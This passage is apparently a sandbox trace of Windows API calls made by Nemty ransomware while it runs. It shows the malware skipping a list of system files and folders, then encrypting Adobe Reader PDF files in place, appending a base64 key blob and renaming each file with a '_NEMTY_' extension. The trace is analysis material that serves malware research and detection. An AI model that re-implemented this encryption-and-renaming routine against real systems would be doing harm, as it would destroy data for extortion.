lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0190.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0190.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0190.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0190.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404f8 | out: hHeap=0x4f90000) returned 1 [0190.091] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x992b, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0190.091] lstrcmpiW (lpString1="SignHere.pdf", lpString2=".") returned 1 [0190.092] lstrcmpiW (lpString1="SignHere.pdf", lpString2="..") returned 1 [0190.092] lstrcmpiW (lpString1="SignHere.pdf", lpString2="...") returned 1 [0190.092] lstrcmpiW (lpString1="SignHere.pdf", lpString2="windows") returned -1 [0190.092] lstrcmpiW (lpString1="SignHere.pdf", lpString2="$RECYCLE.BIN") returned 1 [0190.092] lstrcmpiW (lpString1="SignHere.pdf", lpString2="rsa") returned 1 [0190.092] lstrcmpiW (lpString1="SignHere.pdf", lpString2="NTDETECT.COM") returned 1 [0190.092] lstrcmpiW (lpString1="SignHere.pdf", lpString2="ntldr") returned 1 [0190.092] lstrcmpiW (lpString1="SignHere.pdf", lpString2="MSDOS.SYS") returned 1 [0190.092] lstrcmpiW (lpString1="SignHere.pdf", lpString2="IO.SYS") returned 1 [0190.092] lstrcmpiW (lpString1="SignHere.pdf", lpString2="boot.ini") returned 1 [0190.092] lstrcmpiW (lpString1="SignHere.pdf", lpString2="boot.ini") returned 1 [0190.092] lstrcmpiW (lpString1="SignHere.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0190.092] lstrcmpiW (lpString1="SignHere.pdf", lpString2="ntuser.dat") returned 1 [0190.092] lstrcmpiW (lpString1="SignHere.pdf", lpString2="desktop.ini") returned 1 [0190.092] lstrcmpiW (lpString1="SignHere.pdf", lpString2="CONFIG.SYS") returned 1 [0190.092] lstrcmpiW (lpString1="SignHere.pdf", lpString2="RECYCLER") returned 1 [0190.092] lstrcmpiW (lpString1="SignHere.pdf", lpString2="BOOTSECT.BAK") returned 1 [0190.092] lstrcmpiW (lpString1="SignHere.pdf", lpString2="bootmgr") returned 1 [0190.092] lstrcmpiW (lpString1="SignHere.pdf", lpString2="programdata") returned 1 [0190.092] lstrcmpiW (lpString1="SignHere.pdf", lpString2="appdata") returned 1 [0190.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.092] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0190.092] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0190.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.092] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0190.092] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0190.092] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.092] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.092] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0190.093] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e260, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0190.093] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.093] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.093] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0190.093] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e298, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0190.093] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.093] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404f8 [0190.093] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340430 | out: hHeap=0x4f90000) returned 1 [0190.093] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340430 [0190.093] Sleep (dwMilliseconds=0x5) [0190.099] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x24f47870, dwHighDateTime=0x1d561e8)) [0190.099] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x24f47870, dwHighDateTime=0x1d561e8)) [0190.099] GetLastError () returned 0x0 [0190.100] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0190.100] GetLastError () returned 0x0 [0190.100] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.100] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0190.100] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.100] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0190.100] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0190.100] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0190.100] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6343fe8 [0190.100] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6343fe8, pcchString=0x653df5c | out: pszString="3yTzxJkksfN79AFJzjQx+ByUGhRlLP44hAtWlddQr0B+BCfzZi6FEZA1u+AMv6wS\r\njkFn/R904N7seP1xekTQRAU1ESsagO9+URmckUHW3UhUHWKAdaCBzvNbS2RDEB5b\r\najp1eeweuD+3gJUPAu0iIbfqyiu6tNZDDZ+wdQgiWQrebj8Z7447M16poKBQi2Au\r\nz65RcZawTreJmXmWSZjiGYgydoqQ0fZfnCqckOqoKdnH4IGVzD1aLEPeo4Pdi1fZ\r\n2YPCuAX1cOk6iWnWWEy9dflopF4NXtYNMqHvw28oLuwvWO42kTwVu8YSIkXzdJyJ\r\nlQ69vqraG02Mp5aqPHWEEg==\r\n", pcchString=0x653df5c) returned 1 [0190.100] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0190.100] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0190.100] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.100] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0190.100] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6343fe8 [0190.100] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0190.100] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\signhere.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0190.101] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=39211) returned 1 [0190.101] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x9920) returned 0x6352c48 [0190.101] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.101] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x9920, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x9920, lpOverlapped=0x0) returned 1 [0190.105] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.105] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x9920, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x9920, lpOverlapped=0x0) returned 1 [0190.105] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0190.105] SetFilePointer (in: hFile=0x320, lDistanceToMove=39211, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x992b [0190.105] WriteFile (in: hFile=0x320, lpBuffer=0x6343fe8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6343fe8*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0190.106] CloseHandle (hObject=0x320) returned 1 [0190.106] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344158 [0190.106] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0190.106] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.106] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0190.106] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.106] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.106] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0190.106] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63442e8 [0190.106] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0190.106] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.106] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\SignHere.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\signhere.pdf._nemty_kgobjgd_")) returned 1 [0190.107] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0190.107] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344158 | out: hHeap=0x4f90000) returned 1 [0190.107] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0190.107] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0190.107] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0190.107] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0190.107] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.107] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340430 | out: hHeap=0x4f90000) returned 1 [0190.107] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c4f5, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="Standard.pdf", cAlternateFileName="")) returned 1 [0190.107] lstrcmpiW (lpString1="Standard.pdf", lpString2=".") returned 1 [0190.107] lstrcmpiW (lpString1="Standard.pdf", lpString2="..") returned 1 [0190.107] lstrcmpiW (lpString1="Standard.pdf", lpString2="...") returned 1 [0190.107] lstrcmpiW (lpString1="Standard.pdf", lpString2="windows") returned -1 [0190.107] lstrcmpiW (lpString1="Standard.pdf", lpString2="$RECYCLE.BIN") returned 1 [0190.107] lstrcmpiW (lpString1="Standard.pdf", lpString2="rsa") returned 1 [0190.107] lstrcmpiW (lpString1="Standard.pdf", lpString2="NTDETECT.COM") returned 1 [0190.107] lstrcmpiW (lpString1="Standard.pdf", lpString2="ntldr") returned 1 [0190.107] lstrcmpiW (lpString1="Standard.pdf", lpString2="MSDOS.SYS") returned 1 [0190.107] lstrcmpiW (lpString1="Standard.pdf", lpString2="IO.SYS") returned 1 [0190.107] lstrcmpiW (lpString1="Standard.pdf", lpString2="boot.ini") returned 1 [0190.107] lstrcmpiW (lpString1="Standard.pdf", lpString2="boot.ini") returned 1 [0190.107] lstrcmpiW (lpString1="Standard.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0190.107] lstrcmpiW (lpString1="Standard.pdf", lpString2="ntuser.dat") returned 1 [0190.107] lstrcmpiW (lpString1="Standard.pdf", lpString2="desktop.ini") returned 1 [0190.107] lstrcmpiW (lpString1="Standard.pdf", lpString2="CONFIG.SYS") returned 1 [0190.107] lstrcmpiW (lpString1="Standard.pdf", lpString2="RECYCLER") returned 1 [0190.107] lstrcmpiW (lpString1="Standard.pdf", lpString2="BOOTSECT.BAK") returned 1 [0190.107] lstrcmpiW (lpString1="Standard.pdf", lpString2="bootmgr") returned 1 [0190.107] lstrcmpiW (lpString1="Standard.pdf", lpString2="programdata") returned 1 [0190.107] lstrcmpiW (lpString1="Standard.pdf", lpString2="appdata") returned 1 [0190.107] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.108] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0190.108] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Standard.pdf", lpUsedDefaultChar=0x0) returned 12 [0190.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.108] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0190.108] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Standard.pdf", lpUsedDefaultChar=0x0) returned 12 [0190.108] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.108] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.108] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0190.108] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x653e260, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Standard.pdf", lpUsedDefaultChar=0x0) returned 12 [0190.108] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.108] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0190.108] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x653e298, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Standard.pdf", lpUsedDefaultChar=0x0) returned 12 [0190.108] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340430 [0190.108] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404f8 | out: hHeap=0x4f90000) returned 1 [0190.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404f8 [0190.108] Sleep (dwMilliseconds=0x5) [0190.115] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x24f6d9d0, dwHighDateTime=0x1d561e8)) [0190.115] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x24f6d9d0, dwHighDateTime=0x1d561e8)) [0190.115] GetLastError () returned 0x0 [0190.115] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0190.115] GetLastError () returned 0x0 [0190.115] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.115] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0190.115] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.115] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0190.115] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0190.115] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0190.116] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6343fe8 [0190.116] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6343fe8, pcchString=0x653df5c | out: pszString="dRsf2aOhF1zc1dGqSiYFrzXSpGq6VR9kbJK/zR55YU5ZKWPNP9fowAurocCoKdV1\r\nYgORt+ctXPkdToaxbq5nvCvsopPY2idS5lVniKKlOfn8p9tfJNyXxXBGRnpUC8sa\r\nC+PYUmgBwrDGYNKu/yOueMqkuJRAmOE15UzBX71mOuHRVgl6JVdNEpW4q8hPhGwH\r\ndiCNfnd9ABAdk2VNtB/SxgelosfwfC/oo6fedy6/Acm1sfKcR3NPL3GZTLtzYOXc\r\ns0wEFUT7bYfHSpXuu2FrXQHz4rJ+D0jjRw9P5PNKpH+lR1aXgYc0KsXKUh0st8Qw\r\nT+uSPhCMs3zcISSgnMHWTQ==\r\n", pcchString=0x653df5c) returned 1 [0190.116] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0190.116] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0190.116] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.116] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0190.116] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6343fe8 [0190.116] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0190.116] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\standard.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0190.116] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=115957) returned 1 [0190.116] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0190.116] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.116] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x19000, lpOverlapped=0x0) returned 1 [0190.125] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.125] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x19000, lpOverlapped=0x0) returned 1 [0190.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0190.125] SetFilePointer (in: hFile=0x320, lDistanceToMove=115957, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1c4f5 [0190.125] WriteFile (in: hFile=0x320, lpBuffer=0x6343fe8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6343fe8*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0190.125] CloseHandle (hObject=0x320) returned 1 [0190.126] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344158 [0190.126] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0190.126] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.126] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0190.126] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.126] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.126] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0190.126] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63442e8 [0190.126] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 